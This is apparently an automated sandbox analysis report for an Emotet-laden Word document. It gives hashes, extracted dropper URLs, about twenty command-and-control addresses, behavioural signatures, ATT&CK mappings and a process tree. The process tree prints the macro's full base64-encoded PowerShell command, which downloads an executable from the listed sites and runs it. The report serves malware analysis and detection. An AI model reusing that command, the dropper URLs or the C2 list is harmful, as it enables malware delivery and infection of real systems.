emotet | aa47f7ae328427771960c65aa5f238d0ea257a46f2f8989c771e3ccad33a9e34

General

Target

emotet_e1_aa47f7ae328427771960c65aa5f238d0ea257a46f2f8989c771e3ccad33a9e34_2020-07-31__232803._doc.doc
Size

168KB
MD5

8beaa02222bf18c48690144251f16c4a
SHA1

4d12fe58d974979d8845e135e1c4cdb920351bf9
SHA256

aa47f7ae328427771960c65aa5f238d0ea257a46f2f8989c771e3ccad33a9e34
SHA512

c11e978d929b168c4ff9af4a2076b1a575790ab8951cfb3a7f67f78bf94fc546e70d0a65d555dc6ed9e9d587b913c37becb5cd55a0960d06d103f61ab6b6f363

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://rectificadoscarrion.com/wp-includes/EiQ/

exe.dropper

http://renekok.com/QbWyat/

exe.dropper

http://www.onlinemediadesigns.com/bin/nObh/

exe.dropper

http://renegaderadio.net/haunted/cA5zuC5/

exe.dropper

http://qatifsport.net/t/NbQq254/

Extracted

Family

emotet

C2

73.116.193.136:80

185.94.252.13:443

149.62.173.247:8080

89.32.150.160:8080

185.94.252.12:80

77.90.136.129:8080

83.169.21.32:7080

104.236.161.64:8080

114.109.179.60:80

189.2.177.210:443

68.183.190.199:8080

144.139.91.187:443

185.94.252.27:443

190.181.235.46:80

82.196.15.205:8080

46.28.111.142:7080

181.167.96.215:80

202.62.39.111:80

219.92.13.25:80

191.99.160.58:80

rsa_pubkey.plain

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1560	285.exe
1588	ucmhc.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1560 wrote to memory of 1588	1560	285.exe	76
PID 1560 wrote to memory of 1588	1560	285.exe	76
PID 1560 wrote to memory of 1588	1560	285.exe	76

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\eappcfg\ucmhc.exe	285.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3844	WINWORD.EXE
3844	WINWORD.EXE
3844	WINWORD.EXE
3844	WINWORD.EXE
3844	WINWORD.EXE
3844	WINWORD.EXE
3844	WINWORD.EXE
3844	WINWORD.EXE
3844	WINWORD.EXE
1560	285.exe
1588	ucmhc.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3844	WINWORD.EXE
3844	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	508	powersheLL.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
10	508	powersheLL.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	508	1688	powersheLL.exe	67

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
508	powersheLL.exe
508	powersheLL.exe
508	powersheLL.exe
1588	ucmhc.exe
1588	ucmhc.exe
1588	ucmhc.exe
1588	ucmhc.exe
1588	ucmhc.exe
1588	ucmhc.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1560-8-0x0000000000580000-0x000000000058C000-memory.dmp	emotet
behavioral2/memory/1560-8-0x0000000000580000-0x000000000058C000-memory.dmp	emotet
behavioral2/memory/1588-11-0x00000000004C0000-0x00000000004CC000-memory.dmp	emotet
behavioral2/memory/1588-11-0x00000000004C0000-0x00000000004CC000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_aa47f7ae328427771960c65aa5f238d0ea257a46f2f8989c771e3ccad33a9e34_2020-07-31__232803._doc.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
- Checks processor information in registry
PID:3844

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABUAFUATwBPAEYAagBqAGQAPQAnAEoARQBPAFUAUwBkAGUAawAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBDAFUAUgBpAHQAeQBQAGAAUgBvAFQAbwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEMAVQBaAFEAWgB0AHkAYQAgAD0AIAAnADIAOAA1ACcAOwAkAE4ASQBCAEMAQwBvAHMAdgA9ACcASgBPAEYASwBIAHAAdABvACcAOwAkAEcARwBNAEIAUQBiAHkAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQwBVAFoAUQBaAHQAeQBhACsAJwAuAGUAeABlACcAOwAkAFMAQgBDAFMATQBmAG8AZAA9ACcASQBCAFYATABPAG0AcABuACcAOwAkAE4AVwBEAEcATAB4AHIAbwA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAHQALgBXAEUAYgBjAGwASQBFAG4AVAA7ACQATwBaAEQAQQBLAGcAdgBwAD0AJwBoAHQAdABwADoALwAvAHIAZQBjAHQAaQBmAGkAYwBhAGQAbwBzAGMAYQByAHIAaQBvAG4ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEUAaQBRAC8AKgBoAHQAdABwADoALwAvAHIAZQBuAGUAawBvAGsALgBjAG8AbQAvAFEAYgBXAHkAYQB0AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbwBuAGwAaQBuAGUAbQBlAGQAaQBhAGQAZQBzAGkAZwBuAHMALgBjAG8AbQAvAGIAaQBuAC8AbgBPAGIAaAAvACoAaAB0AHQAcAA6AC8ALwByAGUAbgBlAGcAYQBkAGUAcgBhAGQAaQBvAC4AbgBlAHQALwBoAGEAdQBuAHQAZQBkAC8AYwBBADUAegB1AEMANQAvACoAaAB0AHQAcAA6AC8ALwBxAGEAdABpAGYAcwBwAG8AcgB0AC4AbgBlAHQALwB0AC8ATgBiAFEAcQAyADUANAAvACcALgAiAHMAcABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBTAE0AQQBOAG8AYwB1AD0AJwBEAFQARwBGAFoAcABhAHMAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFoATgBaAEkASQBpAG4AaQAgAGkAbgAgACQATwBaAEQAQQBLAGcAdgBwACkAewB0AHIAeQB7ACQATgBXAEQARwBMAHgAcgBvAC4AIgBEAE8AdwBuAGAAbABgAE8AYABBAGQAZgBJAGwAZQAiACgAJABaAE4AWgBJAEkAaQBuAGkALAAgACQARwBHAE0AQgBRAGIAeQBpACkAOwAkAEYAVgBWAFYATgB5AGsAawA9ACcASwBYAEEAVABVAHUAZQBiACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARwBHAE0AQgBRAGIAeQBpACkALgAiAGwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMwA2ADkANQA3ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAYABlAGEAYABUAEUAIgAoACQARwBHAE0AQgBRAGIAeQBpACkAOwAkAFMATgBPAFEAUwB5AGsAagA9ACcAQwBDAEcATABWAGcAawBzACcAOwBiAHIAZQBhAGsAOwAkAFcARQBPAFAARAB2AHIAeAA9ACcASwBZAE0AQQBYAHQAagBhACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEARgBEAFcARABvAG4AaAA9ACcARQBNAEUATgBLAGIAcQBmACcA
1⤵
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
PID:508

C:\Users\Admin\285.exe
C:\Users\Admin\285.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:1560
- C:\Windows\SysWOW64\eappcfg\ucmhc.exe
  "C:\Windows\SysWOW64\eappcfg\ucmhc.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious behavior: EnumeratesProcesses
  PID:1588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1560-8-0x0000000000580000-0x000000000058C000-memory.dmp

Filesize
48KB

Download
memory/1588-11-0x00000000004C0000-0x00000000004CC000-memory.dmp

Filesize
48KB

Download
memory/3844-0-0x000001F16DC95000-0x000001F16DC9A000-memory.dmp

Filesize
20KB

Download
memory/3844-1-0x000001F16DD38000-0x000001F16DD49000-memory.dmp

Filesize
68KB

Download
memory/3844-2-0x000001F16DD38000-0x000001F16DD49000-memory.dmp

Filesize
68KB

Download
memory/3844-3-0x000001F16DD38000-0x000001F16DD49000-memory.dmp

Filesize
68KB

Download
memory/3844-4-0x000001F16DD38000-0x000001F16DD49000-memory.dmp

Filesize
68KB

Download
memory/3844-5-0x000001F16E4EB000-0x000001F16E4F6000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads